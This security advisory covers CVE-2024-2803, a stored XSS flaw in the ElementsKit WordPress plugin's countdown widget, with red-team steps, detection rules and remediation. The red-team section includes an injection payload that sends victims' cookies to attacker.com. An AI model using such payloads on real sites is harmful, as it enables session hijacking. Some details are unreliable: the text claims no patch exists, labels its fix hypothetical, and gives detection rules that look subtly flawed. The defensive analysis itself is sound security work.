CVE-2024-2803

Executive Summary

CVE-2024-2803 is a Stored Cross-Site Scripting (XSS) vulnerability in the ElementsKit Elementor addons plugin for WordPress, affecting all versions up to and including 3.0.6. The flaw resides in the countdown widget, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts into pages. When a victim visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not affect Apache or Nginx directly. The EPSS score is 0.0%, indicating low exploitation likelihood at the time of analysis, but the lack of a patch increases risk for unmaintained sites.

Supply Chain & Package Security

This is a WordPress plugin vulnerability, not an NPM, PyPI, Go, or Ruby package. However, the plugin may be distributed via the WordPress plugin repository or bundled in themes. Users should verify the integrity of their plugin files and consider removing the countdown widget if no update is available.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is Medium due to the need for authenticated access and user interaction, but the potential for stored XSS makes it dangerous for sites with multiple contributors.

Deep Dive & Mechanics

The vulnerability exists in the countdown widget of ElementsKit. The widget accepts user-defined attributes (e.g., data-date, data-time, or custom CSS classes) that are rendered directly into the HTML output without proper sanitization or escaping. An attacker with contributor-level access can craft a malicious attribute value containing JavaScript, such as:

<div class="countdown-widget" data-date="2024-01-01" data-time="12:00" onmouseover="alert('XSS')">

When the page is rendered, the injected event handler executes in the context of the victim's browser. Because the input is stored in the database, the attack persists across sessions.

The root cause is insufficient input validation in the widget's PHP handler, which fails to strip or encode dangerous HTML attributes. The plugin uses esc_attr() inconsistently, leaving some attributes unescaped.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 3.0.6):

// In countdown widget render method
$date = $settings['countdown_date'];
$time = $settings['countdown_time'];
echo '<div class="countdown-timer" data-date="' . $date . '" data-time="' . $time . '">';

Patched Code (hypothetical fix):

// Properly escape attributes
$date = esc_attr($settings['countdown_date']);
$time = esc_attr($settings['countdown_time']);
echo '<div class="countdown-timer" data-date="' . $date . '" data-time="' . $time . '">';

The fix requires consistent use of esc_attr() on all user-supplied attributes and possibly using wp_kses() for HTML content.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Prerequisites: WordPress site with ElementsKit <= 3.0.6, contributor-level account.

2. Steps:

   • Log in as a contributor.
   • Create or edit a page/post.
   • Add the ElementsKit countdown widget.
   • In the widget settings, inject a malicious attribute, e.g., in the "Custom CSS" field or a data attribute:

     data-date="2024-01-01" onmouseover="alert(document.cookie)"
     

   • Save and publish the page.
   • Send the page link to a victim.
   • When the victim hovers over the countdown, the script executes.

3. Advanced Payload:

   data-date="2024-01-01" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus
   

Blue Team (Detection & Response)

1. Monitor for suspicious widget attributes in page/post content.
2. Check for unexpected JavaScript in countdown widget settings.
3. Review server logs for unusual requests to pages with countdown widgets.
4. Use a Web Application Firewall (WAF) to block common XSS patterns in POST data.

Indicators of Compromise (IOCs)

• File Hashes: (None provided; check plugin file integrity)
• Suspicious Page Content: Presence of onmouseover, onfocus, onload, or alert() in countdown widget attributes.
• Network Traffic: Outbound requests to attacker-controlled domains from compromised pages.
• Log Entries: Unusual POST requests to /wp-admin/admin-ajax.php with widget settings containing script tags.

Detection Engineering

YARA Rule

rule Detect_ElementsKit_XSS_Countdown {
    meta:
        description = "Detects malicious countdown widget attributes in ElementsKit plugin"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-2803"
    strings:
        $xss1 = /on\w+\s*=\s*["'][^"']*script[^"']*["']/ nocase
        $xss2 = /<script[^>]*>.*<\/script>/ nocase
        $widget = "countdown-timer"
    condition:
        $widget and ($xss1 or $xss2)
}

Sigma Rule

title: ElementsKit Countdown Widget XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS via ElementsKit countdown widget attributes
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'elementskit'
        cs-uri-query|contains: 'countdown'
    keywords:
        - 'onmouseover'
        - 'onfocus'
        - 'onload'
        - '<script'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in widget settings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-2803 ElementsKit Countdown XSS"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"elementskit"; http_uri; content:"countdown"; http_uri; pcre:"/(on\w+\s*=\s*[\x22\x27][^\x22\x27]*script[^\x22\x27]*[\x22\x27]|<script[^>]*>.*<\/script>)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable or remove the countdown widget from all pages until a patch is available.
2. Short-term: Restrict contributor-level access to trusted users only.
3. Long-term: Apply a Content Security Policy (CSP) to block inline scripts.
4. Vendor Patch: Monitor the ElementsKit plugin page for an update (version > 3.0.6). If none is released, consider replacing the plugin with an alternative.
5. WordPress Hardening: Use a security plugin to monitor file changes and block malicious POST data.

Valters IT
Securing Digital Frontiers